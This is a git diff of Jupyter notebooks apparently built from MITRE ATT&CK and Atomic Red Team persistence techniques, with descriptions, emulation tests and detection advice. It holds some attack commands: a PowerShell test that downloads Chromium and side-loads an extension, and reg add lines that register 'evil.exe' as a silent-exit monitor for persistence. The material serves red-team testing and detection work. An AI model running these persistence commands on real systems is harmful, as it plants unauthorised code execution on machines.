remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X." - }, - { - "cell_type": "markdown", - "id": "574d24cf", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "54f72e7f", - "metadata": {}, - "source": "## Detection\nLegitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1176.ipynb b/playbook/tactics/persistence/T1176.ipynb index 712b866a..2c4a11a0 100644 --- a/playbook/tactics/persistence/T1176.ipynb +++ b/playbook/tactics/persistence/T1176.ipynb @@ -2,23 +2,23 @@ "cells": [ { "cell_type": "markdown", - "id": "5a963814", + "id": "16a0198a", "metadata": {}, "source": "# T1176 - Browser Extensions\nAdversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)" }, { "cell_type": "markdown", - "id": "5c6dd3b0", + "id": "3020777c", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "23b57fdb", + "id": "ae485363", "metadata": {}, "source": [ - "### Atomic Test #1 - Chrome (Developer Mode)", - "Turn on Chrome developer mode and Load Extension found in the src directory", + "### Atomic Test #1 - Chrome/Chromium (Developer Mode)", + "Turn on Chrome/Chromium developer mode and Load Extension found in the src directory", "**Supported Platforms:** linux, windows, macos", "Run it with these steps!", "1. Navigate to [chrome://extensions](chrome://extensions) and\ntick 'Developer Mode'.\n\n2. Click 'Load unpacked extension...' and navigate to\n[Browser_Extension](../t1176/src/)\n\n3. Click 'Select'\n" @@ -26,10 +26,10 @@ }, { "cell_type": "markdown", - "id": "8ea65ea6", + "id": "0ae67e13", "metadata": {}, "source": [ - "### Atomic Test #2 - Chrome (Chrome Web Store)", + "### Atomic Test #2 - Chrome/Chromium (Chrome Web Store)", "Install the \"Minimum Viable Malicious Extension\" Chrome extension", "**Supported Platforms:** linux, windows, macos", "Run it with these steps!", @@ -38,7 +38,7 @@ }, { "cell_type": "markdown", - "id": "906196e8", + "id": "abc4239d", "metadata": {}, "source": [ "### Atomic Test #3 - Firefox", @@ -50,7 +50,7 @@ }, { "cell_type": "markdown", - "id": "a3188bb6", + "id": "eda20aa0", "metadata": {}, "source": [ "### Atomic Test #4 - Edge Chromium Addon - VPN", @@ -62,13 +62,48 @@ }, { "cell_type": "markdown", - "id": "155e307d", + "id": "5d22caf6", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Google Chrome Load Unpacked Extension With Command Line", + "This test loads an unpacked extension in Google Chrome with the `--load-extension` parameter. This technique was previously used by the Grandoreiro malware to load a malicious extension that would capture the browsing history, steal cookies and other user information. Other malwares also leverage this technique to hijack searches, steal passwords, inject ads, and more.\n\nReferences:\nhttps://attack.mitre.org/techniques/T1176/\nhttps://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n\n# Chromium\n$chromium = \"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\"\n\n# uBlock Origin Lite to test side-loading\n$extension = \"https://github.com/gorhill/uBlock/releases/download/uBOLite_0.1.23.6055/uBOLite_0.1.23.6055.chromium.mv3.zip\"\n\nSet-Location \"$env:TEMP\"\n\nSet-Variable ProgressPreference SilentlyContinue\nInvoke-WebRequest -URI $chromium -OutFile \"$env:TEMP\\chrome.zip\"\nInvoke-WebRequest -URI $extension -OutFile \"$env:TEMP\\extension.zip\"\n\n\nExpand-Archive chrome.zip -DestinationPath \"$env:TEMP\" -Force\nExpand-Archive extension.zip -Force\n\nStart-Process .\\chrome-win\\chrome.exe --load-extension=\"$env:TEMP\\extension\\\" -PassThru```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0abe4ab1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1176 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "a593781b", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nSet-Location \"$env:TEMP\"\nStop-Process -Name chrome -Force\nRemove-Item .\\chrome.zip, .\\chrome-win, .\\extension, .\\extension.zip -Recurse -Force\nSet-Variable ProgressPreference Continue```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2d2f88f8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1176 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "8b162231", "metadata": {}, "source": "## Detection\nInventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)" }, { "cell_type": "markdown", - "id": "fd54d40c", + "id": "4cae94d1", "metadata": {}, "source": "\n## Shield Active Defense\n### Baseline \n Identify key system elements to establish a baseline and be prepared to reset a system to that baseline when necessary. \n\n Identify elements of software and configuration critical to a set of objectives, define their proper values, and be prepared to reset a running system to its intended state. \n#### Opportunity\nThere is an opportunity to use tools and controls to stop an adversary's activity.\n#### Use Case\nA defender can force the removal of browser extensions that are not allowed by a corporate policy.\n#### Procedures\nMaintain a verified baseline firewall configuration and use that copy as a fallback if an adversary alters that information.\nMaintain a verified list of group policies enforced on a system and use that copy if an adversary attempts to deviate from the baseline.\n" } @@ -76,13 +111,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1177.ipynb b/playbook/tactics/persistence/T1177.ipynb deleted file mode 100644 index 3e476628..00000000 --- a/playbook/tactics/persistence/T1177.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "8c680dfb", - "metadata": {}, - "source": "# T1177 - LSASS Driver\nThe Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations." - }, - { - "cell_type": "markdown", - "id": "8747c922", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "887bb6ac", - "metadata": {}, - "source": "## Detection\nWith LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1179.ipynb b/playbook/tactics/persistence/T1179.ipynb deleted file mode 100644 index 89b901b1..00000000 --- a/playbook/tactics/persistence/T1179.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "d2d64e99", - "metadata": {}, - "source": "# T1179 - Hooking\nWindows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)" - }, - { - "cell_type": "markdown", - "id": "d9505849", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "77ddd72d", - "metadata": {}, - "source": "## Detection\nMonitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1180.ipynb b/playbook/tactics/persistence/T1180.ipynb deleted file mode 100644 index e1ade4be..00000000 --- a/playbook/tactics/persistence/T1180.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9082a32a", - "metadata": {}, - "source": "# T1180 - Screensaver\nScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)" - }, - { - "cell_type": "markdown", - "id": "01ed87d2", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "6c8536d4", - "metadata": {}, - "source": "## Detection\nMonitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1182.ipynb b/playbook/tactics/persistence/T1182.ipynb deleted file mode 100644 index 66faf640..00000000 --- a/playbook/tactics/persistence/T1182.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3775c005", - "metadata": {}, - "source": "# T1182 - AppCert DLLs\nDynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer." - }, - { - "cell_type": "markdown", - "id": "eb2e96e6", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "90dc4cbd", - "metadata": {}, - "source": "## Detection\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1183.ipynb b/playbook/tactics/persistence/T1183.ipynb deleted file mode 100644 index 7bd52006..00000000 --- a/playbook/tactics/persistence/T1183.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "8c9c4390", - "metadata": {}, - "source": "# T1183 - Image File Execution Options Injection\nImage File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)" - }, - { - "cell_type": "markdown", - "id": "716c1a72", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "3a103112", - "metadata": {}, - "source": "## Detection\nMonitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/persistence/T1197.ipynb b/playbook/tactics/persistence/T1197.ipynb index 8f359928..cfc68db2 100644 --- a/playbook/tactics/persistence/T1197.ipynb +++ b/playbook/tactics/persistence/T1197.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "134dddc3", + "id": "243a2aa0", "metadata": {}, "source": "# T1197 - BITS Jobs\nAdversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download (e.g. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)), execute, and even clean up after running malicious code (e.g. [Indicator Removal](https://attack.mitre.org/techniques/T1070)). BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)" }, { "cell_type": "markdown", - "id": "ec8bbc3c", + "id": "6a558518", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "05684066", + "id": "ac49441e", "metadata": {}, "source": [ "### Atomic Test #1 - Bitsadmin Download (cmd)", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4af00469", + "id": "ce818b24", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "60868c62", + "id": "0497f724", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\bitsadmin1_flag.ps1 >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bf12a8fb", + "id": "40987a87", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "31c5b0b6", + "id": "2b661df4", "metadata": {}, "source": [ "### Atomic Test #2 - Bitsadmin Download (PowerShell)", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "defb5f6f", + "id": "d1a76f3d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "887f6ab1", + "id": "37ed03b0", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\bitsadmin2_flag.ps1 -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b864174f", + "id": "97cf6d69", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "56b74246", + "id": "fd300ffe", "metadata": {}, "source": [ "### Atomic Test #3 - Persist, Download, & Execute", @@ -95,28 +95,28 @@ { "cell_type": "code", "execution_count": null, - "id": "11f1fe97", + "id": "6cfc90af", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "2f91ab5b", + "id": "6b82dffe", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\bitsadmin3_flag.ps1 >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e45853d0", + "id": "f1c7ca72", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "94d9f53f", + "id": "ef9a7c96", "metadata": {}, "source": [ "### Atomic Test #4 - Bits download using desktopimgdownldr.exe (cmd)", @@ -129,34 +129,34 @@ { "cell_type": "code", "execution_count": null, - "id": "e3f100c8", + "id": "4ebce1b4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "4186bbc9", + "id": "ffb4a3ad", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel C:\\Windows\\Temp\\Personalization\\LockScreenImage\\*.md >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "04ec46ad", + "id": "5873a960", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1197 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "cdd505b2", + "id": "a8bf7edd", "metadata": {}, "source": "## Detection\nBITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)" }, { "cell_type": "markdown", - "id": "a9012dd1", + "id": "03614a6f", "metadata": {}, "source": "\n## Shield Active Defense\n### Security Controls \n Alter security controls to make the system more or less vulnerable to attack. \n\n Manipulating security controls involves making configuration changes to the security settings of a system including things like modifying Group Policies, disabling/enabling autorun for removable media, and tightening or relaxing system firewalls, etc.\n#### Opportunity\nThere is an opportunity to use security controls on systems in order to affect the success of an adversary.\n#### Use Case\nA defender could use host-based tool to detect common persistence mechanisms and prevent the process from executing successfully.\n#### Procedures\nWeaken security controls on a system to allow for leaking of credentials via network connection poisoning.\nImplement policies on a system to prevent the insecure storage of passwords in the registry. This may force an adversary to revert these changes or find another way to access cached credentials.\n" } @@ -164,13 +164,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1198.ipynb b/playbook/tactics/persistence/T1198.ipynb deleted file mode 100644 index 7170ffb4..00000000 --- a/playbook/tactics/persistence/T1198.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "40003425", - "metadata": {}, - "source": "# T1198 - SIP and Trust Provider Hijacking\nIn user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are 